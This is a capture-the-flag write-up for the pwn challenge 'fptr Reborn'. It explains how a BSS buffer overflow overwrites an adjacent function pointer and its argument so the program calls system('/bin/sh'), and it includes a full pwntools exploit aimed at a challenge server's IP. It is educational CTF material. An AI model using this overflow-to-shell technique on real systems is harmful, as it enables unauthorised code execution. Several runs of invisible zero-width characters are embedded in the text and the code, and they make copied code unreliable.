← Back to Writeups
CUSTOMEasypwn

fptr Reborn

XESXOR9/2/20263 min read
#pwn#custom#easy#bss_buffer_overflow#function_pointer_overwrite#ret2win_via_helper#linux

fptr Reborn

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-18 | Status: Solved Techniques: bss_buffer_overflow, function_pointer_overwrite, ret2win_via_helper

Summary

Task: No-PIE x86_64 binary reads 64 bytes into an 8-byte BSS buffer immediately followed by a function pointer and its argument, then performs an indirect call. Solution: craft a 24-byte payload that places '/bin/sh' in buf, overwrites function_pointer with the provided my_system helper (system(rdi)), and sets function_arg to the address of '/bin/sh', spawning a shell.

fptr Reborn — spbctf

Description

Найдите указатель на функцию и перетрите его

English summary: a No-PIE x86_64 ELF keeps a char buffer, a function pointer and its argument as consecutive BSS globals. main reads 64 bytes into the 8-byte buffer and then indirectly calls function_pointer(function_arg). The task is to hijack control flow by overwriting the function pointer.

Analysis

Binary properties:

  • ELF 64-bit, No PIE (base 0x400000), NX enabled, Partial RELRO
  • No stack canary, not stripped (debug symbols present) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key symbols:

SymbolAddressPurpose
main0x40119dentry logic
my_system(char*)0x401162wrapper → system(rdi)
no_win(char*)0x40117dprints Nope: %s
buf0x4040908-byte BSS buffer
function_pointer0x404098called indirectly
function_arg0x4040a0first argument passed to it

Main pseudocode:

c
function_pointer = no_win;
printf("Before read: %p %p\n", function_pointer, function_arg);
read(0, buf, 0x40);                  // 64 bytes into 8-byte buf -> overflow
printf("After read: %p %p\n", function_pointer, function_arg);
function_pointer(function_arg);      // indirect call — our hijack target

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

BSS layout is contiguous:

0x404090: buf[8]             bytes [ 0: 8] of payload
0x404098: function_pointer   bytes [ 8:16] of payload
0x4040a0: function_arg       bytes [16:24] of payload

So the 64-byte read trivially overwrites both function_pointer and function_arg. Because the challenge author helpfully left a my_system function that calls system(rdi), this is a straight ret2win-style hijack: no ROP, no libc leaks needed.

Solution

Craft a 24-byte payload:

  1. Bytes [0:8] — literal "/bin/sh\x00" landing exactly at buf = 0x404090.
  2. Bytes [8:16] — little-endian 0x401162 → overwrites function_pointer with my_system.
  3. Bytes [16:24] — little-endian 0x404090 → overwrites function_arg with a pointer to our /bin/sh string. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

When main executes function_pointer(function_arg) it becomes my_system("/bin/sh") → system("/bin/sh") → interactive shell.

python
#!/usr/bin/env python3
"""spbctf — fptr Reborn: BSS overflow → function pointer hijack → system('/bin/sh')."""
from pwn import *
import struct

BUF       = 0x404090   # char buf[8]
FPTR      = 0x404098   # function_pointer  (buf + 8)
FARG      = 0x4040a0   # function_arg      (buf + 16)
MY_SYSTEM = 0x401162   # my_system -> system(rdi)

payload  = b'/bin/sh\x00'                # lands at BUF
payload += struct.pack('<Q', MY_SYSTEM)  # overwrites function_pointer
payload += struct.pack('<Q', BUF)        # overwrites function_arg (→ "/bin/sh")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

io = remote('109.233.56.90', 11602)
io.send(payload)
io.sendline(b'cat flag')
print(io.recvall(timeout=3).decode(errors='replace'))

Server confirms the overwrite:

Before read: 0x40117d (nil)
After read:  0x401162 0x404090

Then cat flag yields the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍